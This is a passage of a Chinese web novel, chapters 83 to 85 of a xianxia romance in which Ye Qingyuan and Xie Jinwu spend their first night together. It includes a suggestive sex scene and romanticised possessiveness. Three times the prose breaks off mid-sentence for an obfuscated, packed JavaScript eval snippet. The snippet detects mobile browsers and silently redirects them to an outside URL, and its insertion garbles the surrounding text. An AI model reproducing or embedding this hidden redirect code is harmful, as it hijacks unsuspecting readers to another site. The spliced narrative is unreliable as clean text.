雪夜寂静,可是一颗心却躁动起来。扑通扑通,不知是谁的心跳声。 雪沫子落在伞面,簌簌的响动。 天地静谧中,这一点细微的轻响却如此动听。雪地亮晶晶的,叶清圆嗅着他身上那种独属于少年的清新冷香,忽然觉得万物都温柔可爱。 “你现在是不是特别喜欢我?” 她晃了晃小腿,冲着谢尽芜的耳畔呵气。 谢尽芜颔首:“是。” 叶清圆不太满意这个回答:“有多喜欢?” 话音落下,系统的机械音响起:“系统提示!角色【谢尽芜】当前对宿主的好感……” 真是会破坏氛围,叶清圆恨不得一巴掌拍过去:“你闭嘴!” 谢尽芜好久都没有吭声,这个问题像是难住了他,或者说以他的沉闷性格其实很难准确地表达出这种情感。 直到快要走到晴雪院的时候,叶清圆趴在他的肩膀上都快睡了,他才像是思虑周全,诚挚郑重地开口:“我是你的道侣,是你的夫君。” “无论以后发生什么——我都爱你,最爱你,而且只爱你。” 83. 妥协 雪落的声音骤然急促起来。 叶清圆根本没想到会听到他这样回答。极度紧张之下她咽了咽口水,唇舌干燥,眼眶却被风吹得愈发酸涩。 她小声道:“那你想听我说什么吗?” 谢尽芜沉默一瞬,缓慢却坚定地说:“清圆,我也很想要你爱我。可是若你实在做不到的话,我也不会强迫你。” “先前你说喜欢我,我听了之后很高兴。所以我想,若你只是喜欢我,这也很好。我不奢求你会如何爱我,只要我爱你的时候,你不会觉得讨厌、抗拒,我就很满足了。” 谢尽芜顿住步伐,微侧着脸,浓秀纤长的睫毛垂下,看起来有几分脆弱和温柔。 他毫无保留,已经将心中的所有想法完全地暴露给她看。就好像一位虔诚的信徒,剖开自己热切的胸膛,捧出他满心的暖意与诉求,只望能获取她的垂怜。 他的唇角有一点点笑:“从金璧城到冽雪山谷,我不曾想过会和你有片刻的分离。所以不管是现在还是将来,哪怕我们之间隔了再远的距离,我也会拼尽全力去你身边的。” 叶清圆望着他的眼睛:“那我呢?我也会去找你的呀。” 谢尽芜眼中笑意愈深:“路上或许会有危险,你站在原地等我就好。” 他在这场情爱中分明是到处吃醋,恨不得铲除她身边任何具有威胁力的男性。可到了她的面前,却又将自己的身段放得如此低微,近乎恳求。 叶清圆的心头一阵酸涩。他强势是真的,缺爱也是真的。 或许是这些年他失去的已经太多,让他连一点安全感都没有。 谢尽芜背着她进了晴雪院,不经意问道:“你先前是想要收集新雪吗?” 叶清圆回过神来,“我想用新雪酿葡萄酒,等来年夏天喝。” “可以,我们明天取梅枝上的雪水。” 谢尽芜的步伐始终平稳有力,他背着她走了这么久,连气息都没乱。 叶清圆收伞,将脸颊埋在他的脖颈,小声地说好。 路过那一树红梅,梅枝被积雪压得微弯低垂。叶清圆闪避不及,头皮忽然传来扯动的微痛,头发竟是被那坠雪的梅枝勾缠住。 她轻呼一声,叫谢尽芜停下,自己抬手去扯开那梅枝。可是她看不到自己的发是怎样与梅枝缠在一处,毫无章法地解了半天,都没能解开,手腕举着都酸了。 谢尽芜转过头看了一眼:“我帮你?” 他空出一只手,手指灵活地拨弄了两下,就将她的头发解开。 梅枝颤动,积雪落在她的脖颈,叶清圆顿时被激得缩起脖子。 她的脸颊却蓦地红透了。 先前谢尽芜用最标准的背人的姿势背她,掌心就托在她的大腿。此时他为了解开梅枝的纠缠,只能用一条手臂托住她,为了维持平衡防止她摔下来扯得头皮更痛,掌心就不可避免地托在了她的臀上。 叶清圆脸红,捶了捶他的肩膀:“不正经。” “怪我。”谢尽芜无奈认下,并诚恳道歉,“抱歉,我不是有意。” 他背着她往卧房里走了两步,又想起什么似的:“梅花上的雪水煮茶也很好,回去取一些,你尝尝味道,好吗?” 叶清圆心下一动,慢慢点头。 她知道他想说什么,他想带她一起去流光山馆。 那里的红梅树有灵气滋养,花开的时候漫山都是清冽的红梅香。 可是流光山馆不是已经被烧毁了吗?还是他有别的打算? 进了卧房,谢尽芜才终于将她放下来,解开她沾满了雪的大氅,抖掉雪挂在门口的衣架上。 他一回身,就见叶清圆坐在床榻边,一脸认真地盯着他看。 房里燃了灯,温暖的烛火,却不是特别明亮。 谢尽芜轻声问:“还有什么事吗?” “靴子里进了雪,很冷。”叶清圆的眉皱起来,委委屈屈的,“我的左脚要冻得麻木了。” 谢尽芜的脸色顿时变了:“怎么不早说?” 他走到床榻前,掌心托住她的左腿,褪下了她潮湿冰冷的靴袜,就见那靴子里堆得好多雪,还没化呢,已经快要结成冰。 她莹白的脚掌竟都被冰得没了血色。 谢尽芜的眉心蹙起,神情立时就有些不悦。 他将她另一只脚的鞋袜也脱了,又将温炉挪过来给她暖着,起身去打了一盆热水。 他握着叶清圆的脚踝放进热水中,手掌的力道无意识地重了些,冷声道:“我看你倒是很能忍。” 叶清圆被他攥得有些疼,忍不住轻呼出声。谢尽芜一顿,再下手时动作就轻了许多。 他本来身量修长,肩宽腿长,却坐在一只小矮凳上,连腿都伸不开。掌心掬了一捧热水从她细瘦的脚踝淋下去,那冻得发白的肌肤终于泛出点红来。 叶清圆俯视着他,有些发怔,随即笑道:“就是要你心疼我啊。” 她笑得鬓发间簪子都在晃,笑声清脆,颇有些恃宠而骄的味道。 “如果非要伤害自己,那我不仅会心疼,还会生气。”谢尽芜的眉眼很明显地压了下来,眸光沉沉。 叶清圆俯身去吻他:“小谢哥哥。” “我不吃这一套。” 叶清圆侧过脸,在他的脸颊上连着亲了两下。 又在他干燥温热的唇印下一吻。 谢尽芜的眉心还蹙着,眼中却忍不住露出了笑意。 他也没了跟她生气的心思,待她泡完之后将水泼出去,取来软帕擦了擦手。 床榻上分明还有很大的空位,他却恪守着什么似的,还是坐在矮凳,冷着一张脸警告她:“以后不许再这样了。” 叶清圆偏着头,一双眼满含笑意地望着他:“知道啦。” 谢尽芜趁势道:“还有,以后不要这么晚回来了。说好的每日只教她半个时辰,这已经是第几次超时了?” “是只有半个时辰呀,多出来的那些时间,是我们在聊天呢。” 叶清圆笑吟吟地和他讲:“枯燥无聊是上课的大忌,身为一名师者就是要懂得活跃气氛。谢尽芜,你不会连这个都想管吧?” 谢尽芜目光沉沉地看着她,明摆着是很想管的样子。 虽然对他那种略显极端的占有欲早有体会,可叶清圆此刻还是有些手足无措。 别看他平日里一副经过大风大浪、沉静聪明的模样,其实对待感情就是一根筋。 她牵住他的手,拉着他坐上床榻,很诚挚道:“纵使是结契,我们也不会时时刻刻都黏在一起的。” 谢尽芜即刻反问:“为什么不会?” “每个人都需要自己的空间的,就算结了契,成了婚也不例外。” 叶清圆试图说服他,“换位思考一下。假如我时时刻刻都监视着你的一举一动,不管你是吃饭、睡觉还是写字,甚至就连你外出办事的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832048|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都黏在你的身边,寸步不离。难道你不会觉得很压抑、很不开心吗?” 谢尽芜真就想了想那副场景。 随即眉目舒展,开心地笑出了声。 叶清圆:“……” 他好像巴不得她黏着他呢。 谢尽芜轻咳一声,很快从她的话里挑出了有利于自己的漏洞:“你是说,今天我去许姑娘那里找你,让你感到不开心吗?” 啊? 她不是,她没有! “没有没有!”叶清圆否认道,“其实当时看到你来接我,我的心里是很感动的。” “真的吗?”谢尽芜很快地信任了她,从善如流地点头,“那就好。我就知道你喜欢我去接你的。明天晚上我还去接你……不,以后我每天晚上都去接你,好吗?” 他的眼睫扑簌,满脸掩饰不住的欢喜与期待。 “不对不对,我们谈话的重点不是这个呀。”叶清圆险些又被他带偏了,摇摇脑袋,“我是想说……” 谢尽芜抬起眼,温和地看着她。 殷润乌亮的一双眼潭,唇红面白,像是莹莹白雪上的一点红梅。 “我想说什么来着……” 叶清圆很没出息地被他那张脸蛊惑,话堵到嘴边,瞬间被她忘得一干二净。 随即,她自暴自弃地想:罢了罢了,占有欲强一点也没什么的。 他浑身上下就只有这么一点无伤大雅的毛病,满足他又怎么了吗! 况且谢尽芜缺爱又喜欢自贬不是一天两天了,说好的要哄着他,多亲亲他呢? “唉……”叶清圆将额头抵在他的肩头,全然放弃了抵抗,“我是想说,喜欢你每天都来接我。怎么样都好,怎么样我都喜欢。” 爱一个人就是要接受他的全部。何况谢尽芜除了性情敏感、性格沉闷、爱吃醋、占有欲太强之外也没什么。 这些都不是缺点。 体谅、包容。 谢尽芜的眸光深黑,双臂用力地将她抱在怀里,垂着头静静地笑了。 叶清圆被他箍得有些喘不过气,挣扎着抬头去吻他微凉的眼角和脸颊,想要以此换取些喘息的时机。 烛火太暗,云雾般重叠的帘帐拂动着。 暧昧与旖旎的气息在房内横冲直撞,撞进了两个人心跳剧烈的胸腔。 柔软湿润的唇在他脸上印下许多温柔的吻。谢尽芜闭着眼,她的吻分明微凉,却仿佛在他浑身点起了火。 偏她的脚还不老实,温热的足心不知是无心还是有意,挣扎中时不时往他的大腿和膝盖上面踩。 没过多久,谢尽芜就被她闹得一身火气,手掌箍着她的脚踝低声道:“别蹭了。” 叶清圆神情无辜:“嗯?” 她的裙角在闹腾时撩到了小腿中部,莹润小巧的脚趾蹬在他的腕上,衬得愈发红润可爱。 谢尽芜盯着她的脸,视线慢慢下移,近乎是痴迷地用目光描摹着她的轮廓。 随后掌心落在她滑腻皙白的脚背,不经意地抚了两下。 顿时就撒不开手了。 叶清圆察觉到他的意图,脸颊瞬间红透。 情之所至,水到渠成。 她心中默念:不要紧张不要紧张…… 可是谢尽芜却像是害羞,手臂肌肉都紧绷得像是铁皮了,手掌却还仅是在她的足踝慢慢摩挲。 他的眸光沉沉,嗓音低哑:“可以吗?” 84. 。。 话虽如此,像是在征求她的允许,可是捉着她脚踝的掌心却愈发烫。 叶清圆一咬牙,凑上去吻他干燥柔软的唇,贝齿在他的下唇轻轻咬了两口。 “……哥哥。” 她唇齿间的气息与他的交缠在一处,唇角有点点笑:“还是你更喜欢……宝宝?” 谢尽芜浑身一僵,手臂紧紧箍住她的腰。 “上次在枫林酒馆的时候,”叶清圆有些呼吸不过来,“你其实是想让我这样唤你,对吗?” 她的手指从脖颈滑下来,落在他浮动着的喉结上,又笑:“宝宝。” 谢尽芜的脸颊和脖颈都染上一层薄红,难以自控地将她揉抱在怀中。 他的呼吸灼烫而颤抖:“你才是宝宝。” 他目不转睛地盯着她被亲得红润的唇瓣看,心跳紊乱,气息急促,喉结上下滚动,像是咽了咽口水。 又想要,又忐忑。 “我有个问题想很久了。” 叶清圆的指腹按在他的喉结上,加了一点力气:“这样会有感觉吗?” 谢尽芜的眉心微蹙,喉结重重地滚了一下。 叶清圆感觉那处就像是河水里的浮冰,被她按得压下去,又迫不及待地浮上来,贴住她柔软的手心。 “会疼吗,还是痒?” 她又问,满脸娇俏与灵动,像是即将引火烧身却毫不自知的小鹿,一双漂亮的眼眸泛着纯澈的光芒,“还是压根就没有感觉呀?” 谢尽芜忍无可忍,按住叶清圆的后脑,吻住了她喋喋不休的唇。 相比于叶清圆的浅尝辄止,他的吻显得凶狠而急不可耐。叶清圆只来得及哼唧一声就被他掠夺了唇舌,她的后脑和腰背都被他掌心按住,躲也无处可躲,被强行按在他灼烫的怀中,肢体相贴密不可分,暧昧的水声响起在寂静的帘帐内。 他还是不懂得把牙齿收一收,吻得生涩而笨拙,总是会咬到她柔软的唇瓣,幸好是不太疼。磕碰得久了甚至觉出些微弱的痒,叶清圆逐渐觉得这点痛感也是可以忍受的,干脆由着他性子来。 可是吻也吻不久,她呼吸不过来。谢尽芜体贴地暂时放过她的唇舌,偏过头绵密的吻从唇角一直落到耳后,去嗅她发间的清香,待她的气息稍微平复了,缠绵热切地再度吻上她的唇。 两人身体贴得近,叶清圆敏锐地察觉到他身上的变化。 也亏他能忍这么久,都没有下一步动作。再这么稀里糊涂的亲下去,叶清圆的唇瓣都要肿了。 她勉强恢复了一点理智,推开他的肩膀。从乱成一团浆糊的脑子里搜刮出某些小说里的精彩片段,随后颤抖着手,牵着谢尽芜箍在她腰间的手,慢慢上移。 谢尽芜怔怔地看着她,又垂眼看了看自己手掌所覆盖住的地方。 他的气息陡然乱起来,脑海中有根紧绷的弦,倏忽断了。 叶清圆垂着眼睫不肯看他。还真是一窍不通。 快要二十岁的人了,连这些知识都不懂。 他这么多年难道就天天琢磨剑术和杀人了吗? 叶清圆蓦地羞恼起来,轻声骂他:“之前那本书让你看你就是不看!笨死你算了……” 她没能骂完。 因为谢尽芜已经将她压倒在松软如云的被褥里,堵住了她的唇舌。 窗外梅枝轻晃,积雪簌簌坠落。 这间卧房被施了隔音咒,任何细微的动静都无法传出去,窗外雪落的细微响动却清晰地传过来。 只不过,此刻没人有心情去在乎那些声音。 重重纱帘内,叶清圆满头是汗,呼吸都不太畅快,像是被架火当做了烧烤一般,有股燥热的气息在横冲直撞,却无处排解。 谢尽芜也不太好。 他那双乌黑的眼睛被浸得湿润润的,原本清澈的瞳光都被欲念搅得浑浊起来。 他薄唇微张,隐忍而热切地吻着她的唇,手指与她紧密相扣,却迟迟没有下一步的动作。 一滴滚烫的汗落在她的脸上。 叶清圆有些喘不过气似的,偏过脸去。 谢尽芜啄吻着她的侧颊,气息乱得不成样子,近乎是恳求地呢喃着唤她:“清圆,清圆……” 叶清圆刚才还在好奇,谢尽芜的忍耐力真就这么好,准备工作就非要做得这么黏乎吗? 可是看他这副难受隐忍的模样,又有些拿不准了。 她也未经人事,此时亦有些无措。 目光盯着帐子顶思索了一会儿,叶清圆忽然福至心灵,小声问道:“你……是不是找不到地方啊?” 话音落下的刹那,纵使光线昏暗,她仍旧看到谢尽芜的眼睫一颤。 懊恼、狼狈、羞赧与薄怒等种种复杂神色在他脸上交错变幻,实在精彩。 她还从没见过谢尽芜这么吃瘪的模样,惊讶之余,险些直接笑出声。 也幸好谢尽芜羞惭地将脑袋埋在了她的脖颈,所以看不到她的笑容。 “哎,好了好了。” 她安抚性地拍了拍他的脑袋,随即思索一瞬,手指微颤着向下探去。 细嫩的手指若即若离地擦过他的手臂和腰腹,再向下,谢尽芜的身体明显绷紧了。 他抬起头,诧异地想要去看她。 叶清圆却立刻捂住他的眼。 手心里传来轻微的痒意,是他的睫毛在抖动。 叶清圆的手指点在他高挺的鼻梁,红着脸,在他耳畔恶狠狠道:“你给我记住了!这种事……绝对没有下一次!” …… 重重纱帘被房内微小的气流拂动。窗外雪光清亮,映照在书案的一角。 案头摆了一只白瓷瓶,瓶内插红梅枝。 烛火摇曳,蜡泪缓缓滴落,烛台上已经堆满了殷红的蜡泪。 噗嗤一声,蜡烛燃到了尽头,自行熄灭。 叶清圆半趴在温暖舒适的被褥里,乌发散乱,脸颊微红,浑身的疲惫与酸软。 她闭着眼恢复精神,胸腔里的剧烈心跳也逐渐平稳下来。 谢尽芜从身后拥过来,脸颊埋在她柔软微凉的发,无限温存地嗅着那股清香。 男生的体温偏高,方才浑身灼烫得更叫她以为他害起了高热……却是她见识少了。 叶清圆趴了一会儿,感受到那股热源后就下意识地往他怀里靠。 谢尽芜勾起唇角,顺势更紧密地抱住她,手掌贴心地按揉着她的肩头与腰背,轻声道:“还难受吗?” 他的嗓音略带沙哑,还有些吃饱喝足后的餍足与倦懒。 温热的气息喷洒在她的耳后肌肤,叶清圆很轻地哼唧了一声,不想答,干脆将脸颊更深地埋进枕头里。 他孜孜不倦,又问了一遍:“身上还疼吗?” 叶清圆闷声道:“有一点。” 他毫无经验,却急切又热烈。第一次的时候虽说用尽了耐心,却也险些逼得她眼泪都掉出来。到了第二次,痛楚是减轻了些,可也熬不住他这么有精神,翻来覆去无休无止,那架势像是要生吞活剥了她。 叶清圆并未尝到多少甜头,却颇为体谅他是初次,或许就是会没轻没重些……但愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841093|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他今后能有所收敛吧。 “抱歉,我的错。”谢尽芜将脸颊贴在她的脖颈,闭上眼,轻轻地笑了。 他无限眷恋地抱住她,挺直的鼻梁在她光洁的肌肤若即若离地蹭,耳畔隐约听到了她颈间动脉的血液流动声,于是安心地寻了个舒服的角度,贴着她放松下来。 叶清圆也发现了。他似乎对于她的血液与心跳声有种莫名的执着,掌心也特别喜欢放在她的心口,感受着她的心跳。 问他原因,他却也只说她真好。 叶清圆觉得奇怪,问哪里好呢? 他答:活着就是最好的。 他失去得太多,所以总是心怀戚戚。 她的陪伴与爱,激起了他心底的那道潜流。于是暗涌滔天,一发不可收拾。 叶清圆无声地叹了口气,心里也柔软许多,伸手在他的脑袋上抚了抚,摸狗似的。 她要撒气,怪他方才不知轻重,因此手心故意弄乱了他的鬓发。谢尽芜一点儿也不恼,眸光柔和地望着她,就这么任由她作乱。 她揉完他的头发又去捏他的脸,半条手臂探出被子,不经意地就露出肩膀和脖颈。 温存之后两人的身上都只随意穿了薄薄衫子,谢尽芜半阖着眼帘,察觉到她的气息靠近就要去吻,却在看清她胸前的那一瞬略微怔住。 修行之人视力极佳,尽管是在暗夜。因此方才情浓之时,虽是蜡烛燃尽,他依旧看清了她脸上神情的任何细微变化。 也譬如此刻。 谢尽芜的目光落在她的肩膀和锁骨处,看清那暧.昧的痕迹之后,再度杂念丛生。 “怎么了?”叶清圆有些犯困,手心还搭在他的脸上,故意用力揉了揉。 谢尽芜偏过头去吻她的手腕内侧,小声道:“清圆……” “嗯?” 叶清圆茫然看他,却见他那双幽冷清澈的眼潭都染上了欲.念。 这哪里还是雪山里的两泓冷泉? 分明就是两汪潋滟春水。 她身上还疼着,腰腿都酸软,也不知道谢尽芜是哪儿来这么好的精神。她干脆拒绝:“睡觉!” 随后,叶清圆迅速地收回了手,转身,缩到温暖的被窝里,只留给他一个后脑勺。 “……好。” 谢尽芜于是很乖巧地躺在她身后,气息均匀好像是要睡觉。 其实一双眼亮亮的,盯着她柔软皙白的脸颊肉,喜欢到连眨眼都舍不得。 他在静谧的雪夜里听着自己胸腔中怦怦作响的心跳声。两次的放肆与疯狂都没能让他的痴念缠绵收敛半分,反而愈演愈烈,简直有烈火燎原之势。 他都不知自己是怎么了,耳中听到她熟睡后逐渐平稳拉长的呼吸声时,一颗心却控制不住地想要和她亲近。搭在被上的手臂慢慢收缩,身体越贴越近,等到反应过来的时候,他已经将她整个人都抱在了自己的怀里,姿态亲密得两个人都快要融在一起。 她的长发像是溪水一样流淌在枕上,柔软微凉带着清香,有点像栀子,也像茉莉。 叶清圆轻声和他讲过,说人在做完这种事之后,都会不可避免地感到虚无,有种恨不得立刻坐起来研究点人生哲理的冲动。 可他垂眼嗅着那点清香,心里半点虚无和研究哲理的冲动都没有,反而更加踏实、平静。 曾经的那些危机感和脆弱心理都被安抚住了。她现在躺在他的怀里,触手可及,密不可分。 谢尽芜的脸颊埋在她的发间,手去寻了她的手,十指相扣。 雪落了一夜。 85. 首饰 寒冬清晨的阳光稀薄地照在庭院中,白璟洗漱完毕,清了清嗓子,在院子里摆开架势,开始打金刚功。 他其实在家里就有晨练的习惯,只是这几日雪大,出行不便,就只好在院子里打一套功法,暖暖身子。 许家庄风大雪大,入了夜就像是坠入冰窟。这种时候枫林酒馆就热闹了起来,夜晚总少不了许多谈笑取暖的百姓。 白璟年少活泼,在晴雪院待不住,便也总去枫林酒馆凑凑热闹。他相貌生得好,见识也多,闲来无事便讲起冽雪山谷外的所经所见,从风花雪月讲到热血豪侠,嬉笑怒骂绘声绘色,吸引了不少人的目光。 到后来,他甚至专讲那些不为人所知的世家密辛。 幸好这些东西只叫枫林酒馆的人听得,不往外传。否则以他口无遮拦的程度,早就被那些注重清誉名望的世家子弟联手追杀。 大部分百姓听这些秘闻、传奇都只是图个乐呵。山庄里的日子太平安稳,那些恩仇德怨、豪情仗义离他们太远,终究是茶余饭后的闲谈罢了。 可让白璟意料未及的是,许雁含却动了心思,渴望去山下亲眼见识一番。 他早就瞧出许雁含不是甘于将自己局限一方的人,可当她亲口提出以后要与他们一同下山游历之后,白璟也着实敬佩她过人的胆识与魄力。 清晨的炊烟孤寂稀薄,白璟抬眼望去,屋檐的瓦片湿漉漉的,檐下冻起了冰锥,宛如刺刀。 这个时间,堂兄竟然还没起? 他昨夜在枫林酒馆讲辟兵世家的秘闻讲到兴起,连着喝了两杯“蓼红”,酒劲上头,回到晴雪院没多久就睡了,也没在意堂兄是何时回来的。 罢了,总归堂兄对他的态度向来是冷漠疏离,他不操这个心。 再说了,不还有叶姑娘么? 不过片刻,白璟已经浑身发热,额头也出了薄汗。正低头整理衣袍的时候,那边小院子里传来足靴踩雪的声音。 白璟扭头一看,笑出一口的白牙,中气十足道:“哥,早上好!” 谢尽芜眉心一蹙,竖起手指示意他小声。 白璟小鸡啄米似的点头,眨巴着眼看他,好奇道:“哥,你今天的气色怎么这么好?” 脸颊还是净白如雪,可就是气色好。眉眼都舒展了,那双向来冷冰冰的眼眸也柔亮如水。 “难道是有什么好事吗?说出来也叫我高兴高兴呗?” 谢尽芜不爱搭理他,丢下一句“安静些”,就掀帘子去了厨房。 “噢。”白璟委委屈屈地应了一声,待谢尽芜走了,挠挠头,才蓦地反应过来,脸上表情顿时异彩纷呈。 他那位素来端方疏冷的堂兄,竟然是从叶姑娘的院子里出来的啊! - 谢尽芜在厨房里煮了些细腻暖胃的粥,又做了一小碟子红糖饼,端进叶清圆的房中。 屋里很暖,有清甜的香味涌动着,与外头的冰天雪地俨然是两个世界。他放轻动作将粥食搁在桌上,生怕吵醒了叶清圆,待看见她熟睡得发红的面庞时,才扯起唇角笑了笑。 叶清圆不太清醒地踢了踢被子,迷糊地想:昨夜睡得好热,是暖炉烧得太旺了吗? 被她踢走的被角又盖了回来,谢尽芜将她连人带被抱在怀中。 “谢尽芜?” “嗯。” 叶清圆将醒未醒地睁开眼,迟钝地反应了片刻才清醒些。 她眼珠转了转,正对上谢尽芜的目光,当即被他看得好不自在,小脸躲在被子下面,只露出一双琥珀色的端丽眼眸:“看什么呀?” 谢尽芜垂下颈子,在她的眼角吻了一下:“喜欢。” 被子里真的好热,快要把她烘出汗来。 她的脸颊很快就闷红了,谢尽芜将被角往下扯一点,露出她的脸颊和一截脖颈。 “你是想把自己闷得晕过去吗?分明昨夜还一直踢被子的。” 叶清圆:“……是你的身上太热了。” 她琢磨着以后晚上要少烧些炭火。难道男生的体温这么高吗?暖炉一样。 谢尽芜搂着她道:“再睡一会儿,还是吃点东西?” 他这么说,叶清圆才闻到粥饭的香味,察觉到肚子早就饿得咕咕作响。昨夜的体力消耗太大,她又睡了一晚,腹中早就空了。 “吃饭吧,饿了。”叶清圆说着就想挣开他的怀抱,伸手去够她那件外衣。 谢尽芜却按住她的手,不许她乱动:“我帮你穿吧。” 叶清圆满头乌发又长又密,睡了一觉后,此时乱得像是海藻,她拂开眼前的一缕头发,差点以为自己听错了:“什么?” 谢尽芜取来她的外衣,眼含期待轻声道:“抬手。” 叶清圆看着他那不由分说、理所当然的架势,神情复杂:“我有手的呀。” 谢尽芜听她这么说,不由得露出些失落的神色。浓秀的眼睫垂下,眸中的柔光也黯淡不少。 这倒是扯不上什么占有欲,他只是单纯地想贴着她而已。若是她连这种程度的体贴都无法接受,那他…… 其实也没什么办法。 毕竟她不喜欢强制着来,他在与她的相处当中,诚然已经克制许多。 叶清圆是从来没这么腻歪过,乍一来,她觉得别扭不习惯。多大的人了,有手有脚的,连衣服也要他帮忙穿吗? 可她一看见他露出这般神色就又心软,暗自叹息着柔声哄道:“好嘛好嘛,你想怎么样都可以,来吧。” 谢尽芜这才露出笑来,十分细致周到地为她穿好外衣。只胸前的系带他弄不好,总是出错。紧张是一方面,他搞不懂女孩子家衣服上各种漂亮的结是另一方面,最后还是叶清圆自己系好的。 她下床穿好软鞋,看着他那种得逞而温柔的笑,总觉得自己又被他哄骗住了。 谢尽芜做好的早膳还热着,香甜软糯。 他怕叶清圆被粥烫着,不许她自己吃,非要她侧坐在他的腿上,拿着勺子一口一口喂。分明是她在用膳,他的眼神柔亮得却像是他在品尝她。喂到一半,谢尽芜才像是终于忍不住了似的,勺子丢进碗里,扣住她的下巴索了一个极尽缠绵的吻。 叶清圆很是心累,忍着浑身的鸡皮疙瘩吃了小半碗,终于是看不得他这副样子,夺过勺子要自己来。 谢尽芜的目光变了许多,从前眼中也有掩不住的喜欢,却羞赧青涩居多,有那种害羞却犹豫、需要反复试探她心意的脆弱感和不确定感。 此刻他望过来的眼神却直勾勾的,眸光更显幽邃,眼底宛如暗潮涌动,连气色都红润了不少。 叶清圆将空碗推开,拣了一块糕点慢慢嚼,腰酸腿痛地腹诽道:果然男人喂饱了就是春风得意啊。 谢尽芜始终抱着她不肯放手,轻声道:“今天外面很冷,不出去了好不好?” 叶清圆抬眼望窗外,天色惨白阴冷,北风撞得窗棂都在响,看来确实很冷。她反正出门也没事干,唯有闲逛,便无所谓地点点头:“好啊。” 谢尽芜不让她出门,取了热水来让她洗漱梳妆。 她坐在妆镜台前,任由谢尽芜慢悠悠地给她梳发,满头乌发泼洒像是一幅泛着清香的水墨画。谢尽芜站在她身后,手中拿着一只小巧的牛角梳,微硬粗糙的指腹穿梭在清凉的发丝中。 她的发丝是水草、是海藻,是柔软的充满生机的藤蔓,纠缠住他的手指,又如一张铺开的网,叫他无处逃脱。 谢尽芜是心甘情愿坠入她网中的猎物,他沉溺其中,甘之如饴。 他垂下颈子,在她的发梢印下虔诚一吻。 叶清圆从镜子里望他:“喜欢?” 谢尽芜诚实颔首:“喜欢。” 她故意逗他,上挑的眼尾弯出一道狡黠的弧度:“那剪下来送给你好不好?” 谢尽芜的动作一滞,“不要开这种玩笑,你会很痛。” 叶清圆懒洋洋地靠在椅背上,心说剪个头发有什么好痛的? 谢尽芜将她的发丝梳好,转身不知从何处取来一个檀木盒子。她打开一看,里头摆满的全是各样的钗簪饰品,金银珠玉,应有尽有。 叶清圆快要被满盒的富贵晃瞎了眼,目瞪口呆:“这是什么时候买的?” 谢尽芜轻声解释:“在金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849531|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璧城时偶然看见这些,觉得适合你就都买了。” 又是金璧城。好你个谢尽芜,到底在金璧城准备了多少东西。 叶清圆伸手拨弄,发现竟还有那支烈火般惹眼的牡丹绒花簪:“那为什么现在给我呢?” 谢尽芜没作声,他自己都不知道那时是怎么想的。 那次在金璧城,他看到叶清圆笑意寥落地将牡丹绒花簪放下后,便总是有意无意地去首饰店里逛,看到那些漂亮的、亮晶晶的东西就忍不住想:若是她戴上这些首饰该是什么模样?什么心情?她会笑得很开心吗?眼眸柔亮宛如春水流淌。她是这样灵动娇俏,这样独一无二的姑娘,也合该拥有这天底下所有美好的事物。 或许他渴望她戴着自己买的东西,这也算是他的执念。 等回过神来时已经把账都结了。 结果还是没能送出去。他像是心怀忐忑的青涩少年,攥着满心对她的喜欢,却怕极了被她拒绝。纵使肢体行动上已经不太顾及她的意愿,要牵手、要拥抱,可心里却总惴惴,患得患失。因为知晓她对自己心有防备,并非全然喜欢。 他怕唐突了她,她会亲手戳破他的这场美梦。 时间久了,连他自己都忘记了还买过这盒首饰。 直到叶清圆坐在铜镜前,满头乌发泼洒如墨,他才后知后觉地送出这份准备许久、却迟来太多的心意。 叶清圆也大概猜出他的犹豫和踌躇,体贴道:“那你选一支簪子为我戴上吧。” 谢尽芜的眼睛很亮,点头道:“好。” 他一支一支地为她试,觉得她戴什么都好看,柔软微凉的发丝如流水般从他的掌心淌过,果真用惯了刀剑的手终究敌不过绕指柔,过不多久就忍不住向她索要一个亲吻。 叶清圆由着他来,甚至有几次是仰起脸主动配合他,乖顺得他好喜欢。 他最后选了一支玉簪。叶清圆望着铜镜中自己的面容,恍惚觉得这簪子简直能买好几处晴雪院了。 她不喜欢太招摇,可谢尽芜看着她的眼神又喜欢得不得了,于是很憋屈地把话咽下了。 谢尽芜的手指在她的腕骨处摩挲,温热粗粝的指腹触感分明。叶清圆莫名觉得好笑,他竟有点像是那种玩换装游戏的小孩子,费了好大一番功夫,终于将她打扮得漂漂亮亮。 谢尽芜见她笑,便心生好奇。 叶清圆想了想道:“我小时候很喜欢玩一种游戏,就是给女孩子换各种衣裙、化漂亮的妆。真没想到你竟然也喜欢这些。” 谢尽芜理解成是她喜欢打扮侍女丫鬟们,摇头道:“不一样,我只在乎你一个人,对旁人的衣着打扮并无兴趣。” 